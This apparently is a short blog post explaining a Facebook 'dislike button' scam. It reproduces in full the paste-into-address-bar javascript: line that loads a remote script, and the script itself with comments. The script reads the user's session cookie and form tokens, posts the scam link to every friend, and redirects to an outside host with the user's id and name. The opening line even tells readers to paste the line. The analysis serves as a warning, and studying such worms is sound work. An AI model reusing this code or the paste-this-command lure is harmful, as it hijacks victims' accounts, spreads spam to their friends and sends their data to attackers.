A dislike button!?

Posted on 13:58, under


If you want to add this famous 'dislike' button, you should added this line in the address bar, I will try to explain step by step what's happen:
javascript:javascript:(a=(b=document).createElement('script')).src='
//chinawarrior4u.info/dislike/button.js',b.body.appendChild(a);void(0





  1. 1- The line below append a javascript inside your browser and so, you browser will execute the script //chinawarrior4u.info/dislike/button.js on your

  2. current facebook page (home.php)*/

  3. javascript:javascript:(a=(b=document).createElement('script'))
    .src='//chinawarrior4u.info/dislike/button.js',
    b.body.appendChild(a);void(0)



  4. /*2- This is the script, see my comment*/


  5. /** This function will be call in order to read the facebook cookie of the current user in order to get the user id**/

  6. function readCookie(name) {

  7. var nameEQ = name + "=";

  8. var ca = document.cookie.split(';');

  9. for (var i = 0; i < ca.length; i++) {

  10. var c = ca[i];

  11. while (c.charAt(0) == ' ') c = c.substring(1, c.length);

  12. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)

  13. }

  14. return null

  15. }

  16. var randomnumber=Math.floor(Math.random()*99999);

  17. /** getting the userId **/

  18. var user_id = readCookie("c_user");


  19. /** getting the username in the DOM -> <a href=?"http:?/?/?www.facebook.com/?GaryBenattar" id=?"navAccountName">?Gary Benattar?</a>? **/

  20. var user_name = document.getElementById('navAccountName').innerHTML;


  21. /** some variable for the message content that will be send to user's friends **/

  22. var message = "Facebook now has a dislike button! Click
    'Enable Dislike Button' to turn on the new feature!";

  23. var jsText = "http://tiny.cc/pzqup";

  24. var myText = "Enable Dislike Button";


  25. /** getting the last form id on the facebook page in order to put these two variable in the famous connect call **/

  26. var post_form_id = document.getElementsByName('post_form_id')[0].value;

  27. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;


  28. /** user id **/

  29. var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);


  30. /** get all of your friends **/

  31. var friends = new Array();

  32. gf = new XMLHttpRequest();


  33. /** can't get php file content, but I think it will connect using FB connect and retrieve all of your friends **/

  34. gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);

  35. gf.send();

  36. if(gf.readyState!=4){ }else{

  37. data = eval('(' + gf.responseText.substr(9) + ')');

  38. if(data.error){ }else{

  39. friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});

  40. }

  41. }


  42. /** iterate over all friends and send us the same link in feed href with the appId: 6628568379 **/

  43. for(var i=0; i<friends.length; i++){

  44. var httpwp = new XMLHttpRequest();

  45. var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";

  46. var paramswp = "&__d=1&app_id=6628568379&extern=1&" +

  47. "&post_form_id=" + post_form_id +

  48. "&fb_dtsg=" + fb_dtsg +

  49. "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +

  50. "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +

  51. "&feed_info[app_has_no_session]=true&
    feed_info[body_general]=&feed_info
    [template_id]=60341837091
    &feed_info[templatized]=0
    &feed_target_type=target_feed
    &feedform_type=63&lsd&nctr[_ia]=1
    &post_form_id_source=AsyncRequest
    &preview=false&size=2&to_ids[0]=" + friends[i].uid +

  52. "&user_message=" + message;

  53. httpwp.open("POST", urlwp, true);

  54. httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  55. httpwp.setRequestHeader("Content-length", paramswp.length);

  56. httpwp.setRequestHeader("Connection", "keep-alive");

  57. httpwp.onreadystatechange = function(){

  58. if (httpwp.readyState == 4 && httpwp.status == 200){


  59. }

  60. }

  61. httpwp.send(paramswp);

  62. }


  63. /** redirect to a stupid message and location **/

  64. alert("Account Verification Required To Enable The Dislike Button \n\ Please Press 'OK' To Verify Your Account.");

  65. window.location = "http://treefittylol.info/final.php?userid="+user_id+"&name="+user_name;

Digg this

| Send by Email/Envoyer cet article par Email edit post